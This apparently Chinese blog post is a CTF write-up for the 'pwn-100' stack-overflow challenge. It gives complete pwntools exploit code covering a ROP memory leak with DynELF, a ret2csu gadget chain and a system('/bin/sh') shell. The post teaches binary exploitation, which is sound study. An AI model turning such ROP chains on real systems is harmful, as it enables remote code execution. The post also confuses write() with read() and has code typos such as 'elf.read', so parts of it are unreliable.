题目地址

pwn-100

漏洞分析

首先从main函数开始,顺序运行,只有一行关键代码call

1
call    sub_40068E

进入sub_40068E,也是顺序运行,进行了两次call

1
2
3
4
5
6
7
8
9
10
11
# 调用sub_40063D,传入2个参数,第1个参数是栈上rbp+0x40的一段缓冲区,第2个参数是200
lea rax, [rbp+var_40]
mov edx, 0Ah
mov esi, 0C8h
mov rdi, rax
# sub_40063D(rbp + 0x40, 200)
call sub_40063D

# 输入bye~
mov edi, offset s ; "bye~"
call _puts

进入sub_40063D,是一个循环结构,看伪代码(简化)比较直观:

1
2
3
4
5
6
7
8
9
10
11
12
13
int64 sub_40063D(int64 a1, signed int a2)
{
signed int i;

for ( i = 0; ; ++i )
{
// 这个循环运行a2遍
if ( i >= a2 )
break;
// 每次循环,从标准输入读取1byte,放到a1中
read(0, i + a1, 1);
}
}

由于sub_40068E调用sub_40063D时传入的参数a1缓冲区长度是0x40,而读取长度确是200,因此造成了栈溢出

漏洞利用

利用思路

有栈溢出漏洞可以利用,就可以通过覆盖栈上的函数返回值地址修改程序逻辑,但是问题在于要跳往什么地方呢?
如果程序中有存在system("/bin/sh")或者system("cat flag")的话,直接跳转过去就可以了。可是该题中没有。因此解决思路如下:

  1. 自己去寻找system()函数,并传入/bin/sh字符串进行调用。
  2. 又由于原程序中没有调用system()函数,在GOT和PLT表中没有对system()函数的记录,我们只能自己从libc中寻找system()函数。
  3. 因为在一个libc中函数的相对位置是固定的,我们可以通过read()函数的地址,通过相对位置计算得到system()函数的地址,但是由于我们不知道目标环境的libc版本,因此相对位置也没法确定。所以我们还得知道目标环境使用的libc。
  4. pwntools工具集提供了获取目标ELF信息和libc环境信息的工具dynELF,就用这个工具获取目标环境使用的libc。

dynELF

要如何获取目标服务器的libc信息呢?dynELF基于这样的思路:

如果我能获取内存的每一个byte,我还愁获取不到libc的信息吗?毕竟libc也是加载到内存里的。
就像我能在你家随意走动,我还怕搜不出你家电视型号吗?

leak()函数

因此我们需要的就是帮助dynELF去dump内存,具体而言就是提供一个leak()函数,这个函数接收一个地址参数,返回这个地址上的至少一个byte数据:

1
2
def leak(address):
return data

而泄漏任意内存的数据这事说起来也不难,调用**puts(内存地址)**就可以了。在x64中调用一个函数拢共分2步:

  1. 把参数塞进相应的寄存器(可以用mov或者pop)
  2. 跳转函数地址(一般用call,当然ret也可以实现跳转)

其中第2步我们已经完成了,现在需要实现第1步,把address放到rdi(x64第一个参数寄存器),这里需要使用到的是ROP技术,首先使用工具ropper查找可用的gadget:

1
2
3
4
5
6
7
8
$ ropper -f [二进制文件] --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: bee9f73f50d2487e911da791273ae5a3
0x0000000000400763: pop rdi; ret;

找到了一个非常合适的gadget,地址是400763。因此这个leak函数要重复使用,每次泄漏一点内存,所以不能用一次就退出了,所以最后需要调用start()函数来重新执行程序。加上栈溢出漏洞和puts的调用地址,便可以构建如下的leak()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
r = r = remote(目标IP, 目标端口)
elf = ELF(本地elf文件路径)

puts_plt = elf.plt[b'puts'] # puts函数在PLT表的地址
start = 0x400550 # start函数的地址
bufLength = 0x40 # 缓冲区长度
pop_rdi = 0x400763 # 用于传参的gadget

def leak(address):
payload = b'A' * (bufLength + 8) # 填充栈缓冲区和8byte的RBP
payload += p64(pop_rdi) + p64(address) # 覆盖返回地址为gadget,用于把address放到rdi
payload += p64(puts_plt) # 覆盖gadget的返回地址为puts函数
payload += p64(start) # 覆盖puts的返回地址为start,
payload += b'A' * (200 - len(payload)) # 填充到200字节

r.send(payload)
r.recvuntil("bye~\n") # 程序输出完bye之后就会跳转到gadget然后puts

prev_rv = b'' # 用于存储当前接收的上一个字节
data = b'' # 存储接受到的数据
while True:
rv = r.recv(numb = 1, timeout = 0.1) # 每次读取1个字节
if prev_rv == b'\n' and rv == b'': # 判断截断等
data = data[:-1]
data += b'\x00'
break
else:
data += rv
prev_rv = rv
data = data[:4]

return data

dump内存

有了leak函数就可以在pwntools的帮助下获取任意libc函数的地址了:

1
2
3
4
5
# 初始化dynELF
d = DynELF(leak, elf=elf)

# 泄漏system函数地址
system = d.lookup(b'system', b'libc')

万能gadget

得到了system()函数,接下来要获取字符串/bin/sh,我知道libc里面有/bin/sh但我不知道怎么获取,dynELF好像没有这个功能?= =
那么就自己输入吧,有两个思路:

  1. /bin/sh放在栈缓冲区中。这个方法输入很简单,但是寻址比较麻烦,需要获取栈地址进行计算,比如获取RSP的值。
  2. 调用write()函数输入/bin/sh。可以方法调用write()比较麻烦,但是可以把字符串放在自定义的位置,寻址简单。

决定采用方法2。
因为原程序有调用write()函数,因此在PLT和GOT表中有记录,不需要像system()函数那样去dump内存获取。但是write()函数调用传参比较麻烦,有3个参数:

1
write(输入文件描述符,输出缓冲区地址,输入长度);

而在x64中传递3个参数需要使用3个寄存器,依次是rdi,rsi和rdx。我们使用万能gadget来传递这三个参数。万能gadget存在于几乎每一个调用libc的程序中,由许多pop组成,因此广泛用于传递参数,它大概长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
loc_x:
mov rdx, r13
mov rsi, r14
mov edi, r15d
call qword ptr [r12+rbx*8]
add rbx, 1
cmp rbx, rbp
jnz short loc_400740
loc_y:
add rsp, 8
pop rbx # 一般传入0
pop rbp # 一般传入1
pop r12 # 要调用函数的地址
pop r13 # 之后被传入rdx
pop r14 # 之后被传入rsi
pop r15 # 之后被传入edi
retn

配合栈移出漏洞的万能gadget使用方式如下:

0. 覆盖返回值地址为loc_y+8(跳过add rsp, 8那一行),通过ret进入万能gadget

  1. 执行6个pop操作
  2. 覆盖loc_y的返回地址为loc_x,这样retn之后跳转到loc_x执行
  3. 布置rdx,rsi,edi之后调用r12里的函数地址
  4. 由于rbx为0+1,rbp为1,因此jnz不执行,进入loc_y
  5. 在add和6个pop的作用下,rsp被提高了56byte
  6. 覆盖loc_y的返回值为自定义跳转地址,万能gadget执行完成,跳转

一般来说万能gadget可以在**__libc_csu_init()函数找到,但是本题中没有这个函数,不过在init()函数中找到了这一段gadget,其中loc_x的地址为0x400740,而loc_y+8的地址为0x40075a**。

1
2
gadget0 = 0x40075a
gadget1 = 0x400740

最后是用于存放输入字符串的位置,需要一个可读可写的地址,在**.bss**段调一个就好了。
因此使用万能gadget调用write()函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gadget0 = 0x40075a
gadget1 = 0x400740

read_got = elf.got[b'read']
read_destination = 0x60107c # BSS段存放字符串的位子

# 调用read
payload = b'A' * (bufLength + 8) # 填充缓冲区
payload += p64(gadget0) # 覆盖返回地址进入万能gadget
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(read_got) # r12 - call
payload += p64(8) # r13 - rdx - 参数3
payload += p64(read_destination) # r14 - rsi - 参数2
payload += p64(0) # r15 - edi - 参数1
payload += p64(gadget1)
payload += p64(0) * 7
payload += p64(start) # 最后不要让程序退出
payload += b'A' * (200 - len(payload))

r.send(payload)
r.recvuntil("bye~\n") # 程序输出bye之后会跳转到万能gadget,然后调用write
r.send('/bin/sh\x00') # 输入

大功告成

有了system()函数,也有了/bin/sh字符串,只需要再进行一次调用就可以了:

1
2
3
4
5
6
7
8
payload = b'A' * (bufLength + 8)
payload += p64(pop_rdi)
payload += p64(read_destination) # /bin/sh
payload += p64(system)
payload += b'A' * (200 - len(payload))

r.send(payload)
r.interactive()

后记

为什么puts()函数使用的PLT,而read()函数使用的GOT?

上面代码中从本地elf获取puts()函数和read()函数分别从PLT表和GOT表:

1
2
puts = elf.plt[b'puts']
read = elf.read[b'read']

而如果改成从GOT获取puts()函数地址,或从PLT获取read()函数地址,则程序就会出错了。原因在于PLT表存放的是代码,而GOT表存放的是数据
举例来看,下面分别是程序初始时候PLT表和GOT表中read()函数的内容:

1
2
3
4
5
6
7
8
9
10
# read@plt的内容,使用disassemble命令获取
gdb-peda$ disass 0x400520
Dump of assembler code for function read@plt:
0x0000000000400520 <+0>: jmp QWORD PTR [rip+0x200b02] # 0x601028 <read@got.plt>
0x0000000000400526 <+6>: push 0x2
0x000000000040052b <+11>: jmp 0x4004f0
End of assembler dump.

# read@got.plt的内容,存放的是read函数的绝对地址,使用x命令获取
gdb-peda$ x/wx 0x601028
0x601028 <read@got.plt>: 0xf7af4070 # 这个是libc中read在内存中的绝对位置

主要puts@plt第一行语句jmp QWORD PTR [rip+0x200b02]把GOT表中read的地址取出进行跳转,而不是跳转到GOT表中
而在上面漏洞利用中我们调用puts函数是使用ret指令,因此可以跳转到PLT中执行,但不能跳转到GOT中执行,因为GOT存储的是数据
而调用read()函数使用的是call qword ptr [r12+rbx*8],需要将r12指向的内存取值,得到read()的地址,如果r12指向的是read@plt,则取值得到的是jmp指令的机器码,而不是read()的地址。
总之汇编的细节真的多。


Site by 喂草。
using hexo blog framework
with theme Noone.
蜀ICP备19016566号.